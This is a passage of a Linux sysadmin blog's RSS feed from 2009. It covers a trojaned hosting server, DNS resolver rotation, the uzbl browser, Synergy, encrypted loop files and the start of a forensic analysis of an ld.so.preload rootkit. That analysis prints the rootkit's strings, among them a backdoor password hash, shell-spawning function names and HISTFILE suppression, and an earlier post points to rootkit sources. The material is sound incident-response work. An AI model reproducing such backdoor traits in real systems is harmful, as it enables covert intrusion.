v) I think the owner of the box reserves some refund by the hosting company. The guy pays quite a lot of money to the hosting company for this dedicated box and for the others, they delayed him and if I weren&#8217;t careful enough he could have been handed with a trojaned box and keep using it for a long long time. I could also have been thanked for what I told them. Their installation scripts were bad/faulty/compromised/whatever, there could be a dozen/hundred other infected boxes on that hosting company right now. I don&#8217;t want to go public with the name of the hosting company yet since it&#8217;s still early and it&#8217;s a weekend, but if they don&#8217;t do something on the next couple of days I think that I should do it. What do you people think on this ?</p>
<p>Files: i) <a href="http://www.void.gr/kargig/blog/wp-content/prs2.pl.txt">prs2.pl</a><br />
ii) SHv5 rootkit: just google for shv5.tar.gz&#8230;you&#8217;ll get lots of sources.</p>
<p>References: a) <a href="http://forums.debian.net/viewtopic.php?p=160255">http://forums.debian.net/viewtopic.php?p=160255</a><br />
b) <a href="http://www.linuxforums.org/forum/linux-security/47606-shv4-shv5-rootkit-installed.html">http://www.linuxforums.org/forum/linux-security/47606-shv4-shv5-rootkit-installed.html</a><br />
c) <a href="http://www.jigsawboys.com/2008/06/01/lead-story-test/">http://www.jigsawboys.com/2008/06/01/lead-story-test/</a><br />
d) <a href="http://www.hacker-soft.net/tools/Papers/redhat-compromise.pdf">http://www.hacker-soft.net/tools/Papers/redhat-compromise.pdf</a> (thanks to the guy with the raw socket details <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/10/04/epic-fail-from-a-hosting-company-involving-bad-customer-support-and-a-critical-security-issue/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>resolv.conf options rotate and discovery of ISP DNS issue</title>
		<link>http://www.void.gr/kargig/blog/2009/09/28/resolv-conf-options-rotate-and-discovery-of-isp-dns-issue/</link>
		<comments>http://www.void.gr/kargig/blog/2009/09/28/resolv-conf-options-rotate-and-discovery-of-isp-dns-issue/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 18:31:54 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dnssec]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[grnet]]></category>
		<category><![CDATA[resolv.conf]]></category>
		<category><![CDATA[rotate]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=818</guid>
		<description><![CDATA[Lately I somehow bumped on the manpage of resolv.conf. While reading it I saw the following really nice option:
rotate&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sets&#160;&#160;RES_ROTATE&#160;&#160;in _res.options, which causes round robin selection of name‐
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; servers from among those listed.&#160;&#160;This has the effect of spreading&#160;&#160;the&#160;&#160;query
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; load&#160;&#160;among&#160;&#160;all&#160;&#160;listed servers, rather than having all clients try the first
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; listed server first every time.
Since then my [...]]]></description>
			<content:encoded><![CDATA[<p>Lately I somehow bumped on the manpage of resolv.conf. While reading it I saw the following really nice option:</p>
<p><pre><pre2>rotate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sets&nbsp;&nbsp;RES_ROTATE&nbsp;&nbsp;in _res.options, which causes round robin selection of name‐
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; servers from among those listed.&nbsp;&nbsp;This has the effect of spreading&nbsp;&nbsp;the&nbsp;&nbsp;query
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; load&nbsp;&nbsp;among&nbsp;&nbsp;all&nbsp;&nbsp;listed servers, rather than having all clients try the first
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; listed server first every time.</pre2></pre></p>
<p>Since then my /etc/resolv.conf on both Gentoo and Debian looks like that:<br />
<code>nameserver 194.177.210.10<br />
nameserver 194.177.210.210<br />
nameserver 194.177.210.211<br />
options rotate<br />
</code></p>
<p>(I prefer using <a href="http://www.grnet.gr">GrNET</a>&#8217;s DNS servers than any others in Greece, especially for my laptop configuration. Since they allow recursion I can use them to avoid lousy DNS services provided by lousy DSL routers regardless of the ISP I am currently using, when I am &#8220;mobile&#8221; with my laptop.)</p>
<p>While using the following config I issued a ping command on a teminal and a tcpdump command on another to see what was actually happening. The result looked like this:<br />
<code>root@lola:~# tcpdump -ni eth1 port 53<br />
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br />
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes<br />
11:20:46.405694 IP 192.168.1.65.55154 > 194.177.210.210.53: 39212+ A? ntua.gr. (25)<br />
11:20:46.444266 IP 194.177.210.210.53 > 192.168.1.65.55154: 39212* 1/5/8 A 147.102.222.210 (319)<br />
11:20:46.484490 IP 192.168.1.65.56152 > 194.177.210.211.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:46.584171 IP 194.177.210.211.53 > 192.168.1.65.56152: 50452 ServFail 0/0/0 (46)<br />
11:20:46.584449 IP 192.168.1.65.58597 > 194.177.210.10.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:46.624179 IP 194.177.210.10.53 > 192.168.1.65.58597: 50452 1/7/6 (357)<br />
11:20:47.484420 IP 192.168.1.65.32818 > 194.177.210.10.53: 33179+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:47.524176 IP 194.177.210.10.53 > 192.168.1.65.32818: 33179 1/7/6 (357)<br />
11:20:48.484483 IP 192.168.1.65.57670 > 194.177.210.210.53: 21949+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:48.524184 IP 194.177.210.210.53 > 192.168.1.65.57670: 21949 1/3/6 (271)<br />
11:20:49.487610 IP 192.168.1.65.48966 > 194.177.210.211.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:49.534204 IP 194.177.210.211.53 > 192.168.1.65.48966: 8619 ServFail 0/0/0 (46)<br />
11:20:49.534429 IP 192.168.1.65.49421 > 194.177.210.10.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:49.574138 IP 194.177.210.10.53 > 192.168.1.65.49421: 8619 1/7/6 (357)<br />
11:20:50.494537 IP 192.168.1.65.52525 > 194.177.210.10.53: 3415+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:50.534145 IP 194.177.210.10.53 > 192.168.1.65.52525: 3415 1/7/6 (357)<br />
11:20:51.494552 IP 192.168.1.65.40400 > 194.177.210.210.53: 4504+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:51.534205 IP 194.177.210.210.53 > 192.168.1.65.40400: 4504 1/3/6 (271)<br />
11:20:52.494554 IP 192.168.1.65.42385 > 194.177.210.211.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:52.544197 IP 194.177.210.211.53 > 192.168.1.65.42385: 48450 ServFail 0/0/0 (46)<br />
11:20:52.544409 IP 192.168.1.65.43773 > 194.177.210.10.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)<br />
11:20:52.584232 IP 194.177.210.10.53 > 192.168.1.65.43773: 48450 1/7/6 (357)<br />
</code></p>
<p>People who are used to reading tcpdump output will immediately point out the ServFail entries of the log. Server 194.177.210.211 refused to provide proper results for the PTR query of 210.222.102.147.in-addr.arpa.</p>
<p>Further investigation of the problem:<br />
<pre><code2>root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.210
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.&nbsp;&nbsp;IN&nbsp;&nbsp;PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 66841 IN&nbsp;&nbsp;PTR achilles.noc.ntua.gr.

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.211
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.&nbsp;&nbsp;IN&nbsp;&nbsp;PTR

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.10
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.&nbsp;&nbsp;IN&nbsp;&nbsp;PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 86115 IN&nbsp;&nbsp;PTR achilles.noc.ntua.gr.
</code2></pre></p>
<p>It was obvious that 2 out of 3 DNS servers responded as they should and the other did not.</p>
<p>What I did was to notify a friend working as an administrator there (<a href="http://www.grnet.gr">GrNET</a>) and let him know of the problem. After some investigation, he later on told me that the problem was related to <a href="http://www.dnssec.net/">dnssec</a> issues. Possibly a configuration error on <a href="http://ripe.net/">RIPE</a>&#8217;s side. As far as I know they had to temporarily disable dnssec on the 147.102 zone&#8230;I am not aware whether they fixed the problem (using dnssec) yet though.</p>
<p>I am really glad they acted as fast as possible regarding the solution of the problem <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/09/28/resolv-conf-options-rotate-and-discovery-of-isp-dns-issue/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Uzbl to you too!</title>
		<link>http://www.void.gr/kargig/blog/2009/09/16/uzbl-to-you-too/</link>
		<comments>http://www.void.gr/kargig/blog/2009/09/16/uzbl-to-you-too/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 14:15:53 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[fluxbox]]></category>
		<category><![CDATA[iceweasel]]></category>
		<category><![CDATA[lightweight]]></category>
		<category><![CDATA[terminal]]></category>
		<category><![CDATA[urxvt]]></category>
		<category><![CDATA[uzbl]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=800</guid>
		<description><![CDATA[I&#8217;ve been trying uzbl for the last few days and I am pretty much impressed on how useful such a small application can be in certain usage cases!
I installed it on my Debian testing using the following blog post: Installing uzbl on Debian Squeeze .
Be sure to make install else you&#8217;ll have no config and [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been trying <a href="http://www.uzbl.org/">uzbl</a> for the last few days and I am pretty much impressed on how useful such a small application can be in certain usage cases!</p>
<p>I installed it on my Debian testing using the following blog post: <a href="http://blog.friedpancakes.com/index.php/2009/07/07/installing-uzbl-on-debian-squeeze/">Installing uzbl on Debian Squeeze </a>.<br />
Be sure to <em>make install</em> else you&#8217;ll have no config and uzbl will be unusable!!!</p>
<p>The first place I used it was for the urlLauncher plugin of <a href="http://software.schmorp.de/pkg/rxvt-unicode.html">urxvt</a>. On my <em>.Xdefaults</em> I have the following piece of code:<br />
<code>urxvt.perl-ext-common:  default,matcher,-option-popup,-selection-popup,-realine<br />
urxvt.matcher.button:   1<br />
urxvt.urlLauncher:      /usr/local/bin/urxvt-url.sh</code></p>
<p>and my <em>/usr/local/bin/urxvt-url.sh</em> contains:<br />
<code>#!/bin/sh<br />
uzbl "$1"</code></p>
<p>Now every url on the console get&#8217;s highlighted and I can open it with uzbl. And that means opening really fast!</p>
<p>Example:<br />
urxvt terminal (tabbed by fluxbox) with some urls highlighted by the perl <em>matcher</em> plugin of urxvt:<br />
<a href="http://www.void.gr/kargig/blog/wp-content/urxvt-url-highlight.png"><img src="http://www.void.gr/kargig/blog/wp-content/urxvt-url-highlight-300x179.png" alt="urxvt-url-highlight" title="urxvt-url-highlight" width="300" height="179" class="alignnone size-medium wp-image-801" /></a></p>
<p>left clicking on one of the urls opens it with uzbl:<br />
<a href="http://www.void.gr/kargig/blog/wp-content/uzbl-window.png"><img src="http://www.void.gr/kargig/blog/wp-content/uzbl-window-300x183.png" alt="uzbl-window" title="uzbl-window" width="300" height="183" class="alignnone size-medium wp-image-802" /></a></p>
<p>Apart from that, I&#8217;ve started using uzbl to open links on instant messengers, IRC clients and in every other place that people send me simple links to check out or I need a fast browser instance. Some people might say that it looks like links2 graphical mode, but it&#8217;s NOT like opening urls with &#8220;links -G&#8221; because uzbl is based on webkit and that means it can deal with javascript, java, flash, whatever&#8230;</p>
<p>I just love the way you can keybind all the actions you want on it&#8230;on the example config that comes with it, you quit the browser by typing ZZ&#8230;how great is that ? <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>Some usage tips</strong><br />
1) Tabbed behavior (if you have fluxbox):<br />
In <em>~/.config/uzbl/config</em> add<br />
<code>bind t _    = spawn uzbl --uri %s</code><br />
and in <em>~/.fluxbox/apps</em> add the [group] tag before the [app] tag for uzbl like that:<br />
<pre><code2>[group]
 [app] (name=uzbl) (class=Uzbl)
&nbsp;&nbsp;[Workspace]&nbsp;&nbsp; {0} 
&nbsp;&nbsp;[Head]&nbsp;&nbsp;&nbsp;&nbsp;{0} 
&nbsp;&nbsp;[Dimensions]&nbsp;&nbsp;{800 1284}
&nbsp;&nbsp;[Position]&nbsp;&nbsp;&nbsp;&nbsp;(UPPERLEFT) {0 0}
&nbsp;&nbsp;[Maximized]&nbsp;&nbsp; {yes}
&nbsp;&nbsp;[Jump]&nbsp;&nbsp;&nbsp;&nbsp;{yes}
&nbsp;&nbsp;[Close]&nbsp;&nbsp; {yes}
[end]
</code2></pre><br />
Now the command <code>t www.google.com</code> inside uzbl, will open a new tabbed window of uzbl with www.google.com loaded in it.</p>
<p>2) Close uzbl window with ctrl+w<br />
In <em>~/.config/uzbl/config</em> add:<br />
<pre><code2>bind&nbsp;&nbsp;&nbsp;&nbsp; ctrl+v ctrl+w&nbsp;&nbsp;&nbsp;&nbsp;= exit
</code2></pre><br />
(press ctrl+v ctrl+w one after the other and you will get something like ^W in the file)</p>
<p>P.S. If you are a person that just came from the point and click windows world to the beautiful world of linux, or you are a person that loves bloated desktop managers like KDE/gnome/etc or bloated applications like firefox/iceweasel/konqueror don&#8217;t even think of installing it. You&#8217;ll never understand its value&#8230;<br />
P.S.2. <a href="http://lwn.net/Articles/262570/">If Richard Stallman decided to browse the web and had an internet connection</a> uzbl would probably be his browser of choice <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/09/16/uzbl-to-you-too/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Playing with Synergy on Gentoo and Debian</title>
		<link>http://www.void.gr/kargig/blog/2009/09/12/playing-with-synergy-on-gentoo-and-debian/</link>
		<comments>http://www.void.gr/kargig/blog/2009/09/12/playing-with-synergy-on-gentoo-and-debian/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 12:25:17 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[mouse]]></category>
		<category><![CDATA[remote control]]></category>
		<category><![CDATA[repeating]]></category>
		<category><![CDATA[synergy]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=778</guid>
		<description><![CDATA[I currently have Gentoo/x86 on my desktop system and Debian/testing on my laptop. I wanted a way to be able to use the laptop&#8217;s trackpad to control the cursor on the desktop or to use the desktop&#8217;s mouse to control the cursos on the laptop. Thankfully I was able to do that with Synergy.
On Gentoo:
# [...]]]></description>
			<content:encoded><![CDATA[<p>I currently have Gentoo/x86 on my desktop system and Debian/testing on my laptop. I wanted a way to be able to use the laptop&#8217;s trackpad to control the cursor on the desktop or to use the desktop&#8217;s mouse to control the cursos on the laptop. Thankfully I was able to do that with <a href="http://synergy2.sourceforge.net/">Synergy</a>.</p>
<p>On Gentoo:<br />
<code># emerge x11-misc/synergy</code><br />
On Debian:<br />
<code># aptitude install synergy</code></p>
<p>My config is pretty simple. That&#8217;s Debian&#8217;s (hostname lola) /etc/synergy.conf:<br />
<pre><code2>section: screens
&nbsp;&nbsp;&nbsp;&nbsp;lola:
&nbsp;&nbsp;&nbsp;&nbsp;athlios:
end

section: links
&nbsp;&nbsp;&nbsp;&nbsp;lola:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;right = athlios
&nbsp;&nbsp;&nbsp;&nbsp;athlios:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;left&nbsp;&nbsp;= lola
end

section: aliases
&nbsp;&nbsp;&nbsp;&nbsp;lola:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mac 
end
</code2></pre></p>
<p>When I want to control athlios (desktop) from lola (laptop), I start <em>synergys</em> on lola, ssh to athlios and start <em>synergyc lola</em>. That&#8217;s it, I can then control desktop&#8217;s mouse and keyboard from laptop&#8217;s touchpad and keyboard. When I move the lola&#8217;s cursor far to the right, the cursor starts moving on the desktop. Then if I start typing on the laptop&#8217;s keyboard I am actually typing on the desktop. Moving the cursor far to the left of the desktop&#8217;s monitor, the cursor starts moving again on the laptop.</p>
<p>A problem that I faced was that some keys (Left and Down arrow) stop repeating if you press them continuously when you start synergyc. The solution is posted on the <a href="http://en.gentoo-wiki.com/wiki/Synergy#Troubleshooting">synergy article on gentoo wiki</a>. You just have to type: <em>xset r 113</em> (left arrow) and <em>xset r 116</em> (down arrow) to activate them, then move your mouse to the synergy server and back to the synergy client.  If you try typing on the machine where the synergy client has started using its keyboard you will see that repeating doesn&#8217;t work at all. Just type <em>xset r</em> to get it back working if you need it.</p>
<p>For people having more than one machine on their desk, <a href="http://synergy2.sourceforge.net/">synergy</a> is a real salvation in order to stop switching keyboards and mice all the time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/09/12/playing-with-synergy-on-gentoo-and-debian/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>how to use encrypted loop files with a gpg passphrase in Debian</title>
		<link>http://www.void.gr/kargig/blog/2009/08/28/how-to-use-encrypted-loop-files-with-a-gpg-passphrase-in-debian/</link>
		<comments>http://www.void.gr/kargig/blog/2009/08/28/how-to-use-encrypted-loop-files-with-a-gpg-passphrase-in-debian/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 17:59:49 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[aes]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[loop]]></category>
		<category><![CDATA[loop-aes]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=772</guid>
		<description><![CDATA[Fast howto (mostly a note for personal use) on what&#8217;s needed on Debian to use an encrypted loop:
1.  The necessary utilities (patched losetup)
# aptitude install loop-aes-utils 
2. The necessary kernel-module
# aptitude install loop-aes-modules-2.6.30-1-686-bigmem
3. Create the keyfile (keep your computer as busy as possible while doing this to increase entropy)
# head -c 2925 /dev/urandom &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>Fast howto (mostly a note for personal use) on what&#8217;s needed on Debian to use an encrypted loop:</p>
<p>1.  The necessary utilities (patched losetup)<br />
<code># aptitude install loop-aes-utils </code><br />
2. The necessary kernel-module<br />
<code># aptitude install loop-aes-modules-2.6.30-1-686-bigmem</code><br />
3. Create the keyfile (keep your computer as busy as possible while doing this to increase entropy)<br />
<code># head -c 2925 /dev/urandom | uuencode -m - | head -n 66 | tail -n 65| gpg --symmetric -a >/path/to/keyfile.gpg</code><br />
4.  Loopfile creation (10Mb)<br />
<code># dd if=/dev/urandom of=/my-encrypted-loop.aes bs=1k count=10000</code><br />
5. Initialize loopfile<br />
<code># losetup -K /path/to/keyfile.gpg -e AES256 /dev/loop5 /home/username/crypto-loop.img</code><br />
6. Format loopfile<br />
<code># mke2fs /dev/loop5</code><br />
7. Delete loop device<br />
<code># losetup -d /dev/loop5</code><br />
8. Create mount point for loopfile<br />
<code># mkdir /mnt/crypto-loop</code><br />
9. Add entry to fstab</p>
<blockquote><p>/home/username/crypto-loop.img /mnt/crypt-loop ext2 defaults,noauto,user,loop=/dev/loop7,encryption=AES256,gpgkey=/path/to/keyfile.gpg 0 0</p></blockquote>
<p>10. Try mounting the loopfile as user<br />
<code>$ mount /mnt/crypto-loop</code><br />
11. Check it&#8217;s mounted properly<br />
<code>$ mount | grep -i aes</code></p>
<p>and use it!</p>
<p>P.S. Secure your keyfile.gpg, if it gets lost you won&#8217;t _ever_ be able to decrypt what was inside crypto-loop.img!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/08/28/how-to-use-encrypted-loop-files-with-a-gpg-passphrase-in-debian/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>There&#8217;s a rootkit in the closet!</title>
		<link>http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet/</link>
		<comments>http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 11:59:30 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[etch]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ld-linuxv]]></category>
		<category><![CDATA[ld-linuxv.so.1]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[record_company]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[zen-cart]]></category>
		<category><![CDATA[zencart]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=732</guid>
		<description><![CDATA[Part 1: Finding the rootkit
It&#8217;s monday morning and I am for coffee in downtown Thessaloniki, a partner calls:
- On machine XXX mysqld is not starting since Saturday.
- Can I drink my coffee and come over later to check it ? Is it critical ?
- Nope, come over anytime you can&#8230;
Around 14:00 I go over to [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>Part 1: Finding the rootkit</strong></em></p>
<p>It&#8217;s monday morning and I am for coffee in downtown <a href="http://en.wikipedia.org/wiki/Thessaloniki">Thessaloniki</a>, a partner calls:<br />
- On machine XXX mysqld is not starting since Saturday.<br />
- Can I drink my coffee and come over later to check it ? Is it critical ?<br />
- Nope, come over anytime you can&#8230;</p>
<p>Around 14:00 I go over to his company to check on the box. It&#8217;s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver&#8230;</p>
<p>I log in as root, I do a <em>ps ax</em> and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via <em>/etc/init.d/apache2 stop</em>. Then I start poking at mysqld. I can&#8217;t see it running on ps so I try starting it via the init.d script. Nothing&#8230;it hangs while trying to get it started. I suspect a failing disk so I use <em>tune2fs -C 50 /dev/hda1</em> to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via <em>smartctl -a /dev/hda</em>, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move <em>/var/lib/mysql/</em> files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.</p>
<p>Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it&#8217;s impossible&#8230;after a few <em>killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin</em> it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That&#8217;s totally weird&#8230;</p>
<p>I try to <em>ldd /usr/sbin/mysqld</em> and I notice a very strange library named <strong>/lib/ld-linuxv.so.1</strong> in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd /usr/sbin/mysqld and no library /lib/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn&#8217;t be there. And that&#8217;s a <strong>rootkit</strong>!</p>
<p>I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it&#8217;s nowhere to be seen inside /lib/&#8230;the rootkit hides itself pretty well. I can&#8217;t see it with <em>ls /lib</em> or <em>echo /lib/*</em>. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in /sbin with a <em>for i in /usr/sbin/*;do ldd $i; done</em>, all of them appear to have /lib/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it&#8217;s currently using but I get strange errors that it can&#8217;t even find the hard disk.</p>
<p>I try to downgrade the &#8220;working&#8221; kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can&#8217;t delete <em>/tmp/mkinitramfs_UVWXYZ/lib/ld-linuxv.so.1</em> file, so rm fails and that makes mkinitramfs fail as well.</p>
<p>I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.</p>
<p><em><strong>Part 2: Technical analysis</strong></em><br />
<strong>I. First look at the ld-linuxv.so.1 library</strong></p>
<p>A couple of days later I put the disk to my box and made an image of each partition using dd:<br />
<code>dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k</code></p>
<p>Then I could mount the image using loop to play with it:<br />
<code>mount -o loop /mnt/image/part1 /mnt/part1</code></p>
<p>A simple ls of /mnt/part1/lib/ revealed that ld-linuxv.so.1 was there. I run strings to it:<br />
<code># strings /lib/ld-linuxv.so.1<br />
__gmon_start__<br />
_init<br />
_fini<br />
__cxa_finalize<br />
_Jv_RegisterClasses<br />
execve<br />
dlsym<br />
fopen<br />
fprintf<br />
fclose<br />
puts<br />
system<br />
crypt<br />
strdup<br />
readdir64<br />
strstr<br />
__xstat64<br />
__errno_location<br />
__lxstat64<br />
opendir<br />
login<br />
pututline<br />
open64<br />
pam_open_session<br />
pam_close_session<br />
syslog<br />
vasprintf<br />
getspnam_r<br />
getspnam<br />
getpwnam<br />
pam_authenticate<br />
inssh<br />
gotpass<br />
__libc_start_main<br />
logit<br />
setuid<br />
setgid<br />
seteuid<br />
setegid<br />
read<br />
fwrite<br />
accept<br />
htons<br />
doshell<br />
doconnect<br />
fork<br />
dup2<br />
stdout<br />
fflush<br />
stdin<br />
fscanf<br />
sleep<br />
exit<br />
waitpid<br />
socket<br />
libdl.so.2<br />
libc.so.6<br />
_edata<br />
__bss_start<br />
_end<br />
GLIBC_2.0<br />
GLIBC_2.1.3<br />
GLIBC_2.1<br />
root<br />
@^_]<br />
`^_]<br />
ld.so.preload<br />
ld-linuxv.so.1<br />
_so_cache<br />
execve<br />
/var/opt/_so_cache/ld<br />
%s:%s<br />
Welcome master<br />
crypt<br />
readdir64<br />
__xstat64<br />
__lxstat64<br />
opendir<br />
login<br />
pututline<br />
open64<br />
lastlog<br />
pam_open_session<br />
pam_close_session<br />
syslog<br />
getspnam_r<br />
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0<br />
getspnam<br />
getpwnam<br />
root<br />
/dev/null<br />
normal<br />
pam_authenticate<br />
pam_get_item<br />
Password:<br />
__libc_start_main<br />
/var/opt/_so_cache/lc<br />
local<br />
/usr/sbin/sshd<br />
/bin/sh<br />
read<br />
write<br />
accept<br />
/usr/sbin/crond<br />
HISTFILE=/dev/null<br />
%99s<br />
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0<br />
/bin/sh</code></p>
<p>As one can easily see there&#8217;s some sort of password hash inside and references to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.</p>
<p>I took the disk image to my friend <a href="http://www.advogato.org/person/argp/">argp</a> to help me figure out what exactly the rootkit does and how it was planted to the box.</p>
<p><strong>II. What the rootkit does</strong></p>
